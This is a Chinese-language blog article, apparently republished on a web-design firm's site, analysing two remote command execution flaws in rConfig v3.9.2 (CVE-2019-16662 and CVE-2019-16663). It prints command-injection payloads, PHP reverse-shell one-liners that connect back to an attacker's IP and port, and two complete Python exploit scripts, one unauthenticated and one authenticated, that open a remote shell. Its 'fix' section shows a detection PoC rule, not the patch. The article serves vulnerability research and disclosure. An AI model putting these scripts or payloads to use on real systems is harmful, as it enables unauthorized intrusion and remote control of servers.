这期内容当中小编将会给大家带来有关rConfig v3.9.2远程命令执行的漏洞分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
创新互联建站是一家集网站建设,海晏企业网站建设,海晏品牌网站建设,网站定制,海晏网站建设报价,网络营销,网络优化,海晏网站推广为一体的创新建站企业,帮助传统企业提升企业形象加强企业竞争力。可充分满足这一群体相比中小企业更为丰富、高端、多元的互联网需求。同时我们时刻保持专业、时尚、前沿,时刻以成就客户成长自我,坚持不断学习、思考、沉淀、净化自己,让我们为更多的企业打造出实用型网站。
rConfig概述
rConfig是一款开源的网络设备配置管理实用工具,在rConfig的帮助下,网络工程师可以快速、频繁地管理网络设备的快照。
漏洞发现
在近期的一次研究过程中,我在rConfig的两个代码文件中分别找到了两个远程代码执行漏洞。
第一个文件为ajaxServerSettingsChk.php,其中的rootUname参数在源文件的第2行中定义,随后会在第13行传递给exec函数,而攻击者可以通过rootUname参数发送特制的GET请求,并以此来触发未授权的远程代码执行。攻击者只需要将恶意命令注入到这个参数中,并在目标服务器上执行,即可完成漏洞利用。
第二个RCE漏洞位于search.crud.php文件中,攻击者可以发送特制的GET请求来触发该漏洞。这个请求需要包含两个参数,其中的searchTerm参数可以包含任意值,但该参数要有,否则第63行的exec函数将无法正常执行。
在之前的RCE漏洞挖掘过程中,我曾开发过一个简单的Python脚本来寻找目标可能存在的所有不安全函数,这一次我同样打算使用这个脚本:【RCEScanner】。
漏洞分析#1
运行该脚本后,我们可以查看到脚本的输出结果。在检查文件的过程中,我发现了一个名为ajaxServerSettingsChk.php的文件,文件路径为install/lib/ajaxHandlers/ajaxServerSettingsChk.php,其部分代码段如下:
在第二行代码中,脚本会将GET请求中的rootUname参数值保存到$rootUname中。在第十二行,代码将$rootUname与一些其他的字符串拼接在一起,然后保存到了$rootTestCmd1中,最后传递给第十三行的exec函数。剩下的代码同理以此类推。
因此,我们只需要注入需要执行的命令,然后在第十三行跳出原代码的执行流程,并执行我们的代码即可。为了实现这个目标,我们需要使用下列Payload:
; your command #测试Payload时,我修改了代码,并显示第十三行exec()函数的运行结果,然后编码并发送Payload:
如上图所示,我们可以通过rootUname参数发送经过编码的“; id #”命令。为了拿到Shell,我们可以使用下列Payload:
;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");注意:我之所以使用这个payload,是为了避免使用nc,因为这个程序在CentOS 7.7 mini上默认是没有安装的。
编码payload并使用Burp发送后,结果如下:
没错,我们成功拿到了Shell!
为了自动化实现整个过程,我编写了一个Python脚本:
#!/usr/bin/python# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution# Date: 18/09/2019# Exploit Author: Askar (@mohammadaskar2)# CVE : CVE-2019-16662# Vendor Homepage: https://rconfig.com/# Software link: https://rconfig.com/download# Version: v3.9.2# Tested on: CentOS 7.7 / PHP 7.2.22import requestsimport sysfrom urllib import quotefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)if len(sys.argv) != 4: print "[+] Usage : ./exploit.py target ip port" exit()target = sys.argv[1]ip = sys.argv[2]port = sys.argv[3]payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))install_path = target + "/install"req = requests.get(install_path, verify=False)if req.status_code == 404: print "[-] Installation directory not found!" print "[-] Exploitation failed !" exit()elif req.status_code == 200: print "[+] Installation directory found!"url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payloadprint "[+] Triggering the payload"print "[+] Check your listener !"requests.get(url_to_send, verify=False)运行这个脚本之后,我们可以看到如下所示的结果:
我们再次拿到了shell!
漏洞分析#2
在RCEScanner的扫描结果列表中,还有一个名叫“lib/crud/search.crud.php”的文件吸引了我的注意,改文件中包含下列代码:
if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) { // line 25 /* validation */ $searchTerm = '"' . $_GET['searchTerm'] . '"'; // line 27 $catId = $_GET['catId']; $catCommand = $_GET['catCommand']; // line 29 $nodeId = $_GET['nodeId']; // line 30 $grepNumLineStr = $_GET['numLinesStr']; $grepNumLine = $_GET['noLines']; $username = $_SESSION['username']; // if nodeId was empty set it to blank if (empty($nodeId)) { $nodeId = ''; } else { $nodeId = '/' . $nodeId . '/'; } $returnArr = array(); // Get the category Name from the Category selected $db2->query("SELECT categoryName from `categories` WHERE id = :catId"); $db2->bind(':catId', $catId); $resultCat = $db2->resultset(); $returnArr['category'] = $resultCat[0]['categoryName']; // get total file count $fileCount = array(); $subDir = ""; if (!empty($returnArr['category'])) { $subDir = "/" . $returnArr['category']; } exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr); // line 57 $returnArr['fileCount'] = $fileCountArr['0']; //next find all instances of the search term under the specific cat/dir $command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done'; // line 61 // echo $command;die();exec($command, $searchArr); // line 63首先,我们需要发送包含searchTerm参数的GET请求来绕过第25行的if语句,这样就可以进入代码执行体了。接下来,我们需要发送包含catCommand参数的另一个GET请求,并注入我们的Payload。这个参数会在第61行与其他的字符串拼接起来,在存储到$command中之后,便会在第63行传递给exec()执行。
在这里,我打算用一个sleep()来测试该逻辑是否可行,这个Payload会让代码挂起5秒,分析之后,我发现这里可以用多个Payload来绕过字符串转义并执行我们的代码:
""&&$(`sleep 5`)#使用Burp发送请求后,得到的结果如下:
没错,我们的sleep逻辑生效了,也就是注入的命令成功执行了。
我们的目的是拿到Shell,这里我使用了一段PHP代码,然后跟其他字符串进行了拼接:
""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#为了自动化实现整个漏洞利用过程,我编写了一个简单的Python脚本:
#!/usr/bin/python# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution# Date: 18/09/2019# Exploit Author: Askar (@mohammadaskar2)# CVE : CVE-2019-16663# Vendor Homepage: https://rconfig.com/# Software link: https://rconfig.com/download# Version: v3.9.2# Tested on: CentOS 7.7 / PHP 7.2.22import requestsimport sysfrom urllib import quotefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)if len(sys.argv) != 6: print "[+] Usage : ./exploit.py target username password ip port" exit()target = sys.argv[1]username = sys.argv[2]password = sys.argv[3]ip = sys.argv[4]port = sys.argv[5]request = requests.session()login_info = { "user": username, "pass": password, "sublogin": 1}login_request = request.post( target+"/lib/crud/userprocess.php", login_info, verify=False, allow_redirects=True )dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)if dashboard_request.status_code == 200: print "[+] LoggedIn successfully" payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port) encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload)) print "[+] triggering the payload" print "[+] Check your listener !" exploit_req = request.get(encoded_request)elif dashboard_request.status_code == 302: print "[-] Wrong credentials !"exit()运行该漏洞利用脚本之后,我们得到了下图所示的结果:
没错,我们又拿到了Shell!
漏洞修复
随后,我们顺着Github找到了该系统得源码,然后找到了最新的漏洞修复补丁,其中更新的部分代码如下:
name: poc-yaml-rconfig-cve-2019-16663 set: r: randomInt(800000000, 1000000000) r1: randomInt(800000000, 1000000000) rules: - method: GET path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23 expression: | response.status == 200 && response.body.bcontains(bytes(string(r + r1))) detail: author: 17bdw links: - https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071 - https://www.cnblogs.com/17bdw/p/11840588.html - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/上述就是小编为大家分享的rConfig v3.9.2远程命令执行的漏洞分析了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注创新互联行业资讯频道。
网站名称:rConfigv3.9.2远程命令执行的漏洞分析
URL网址:http://scgulin.cn/article/ipoepe.html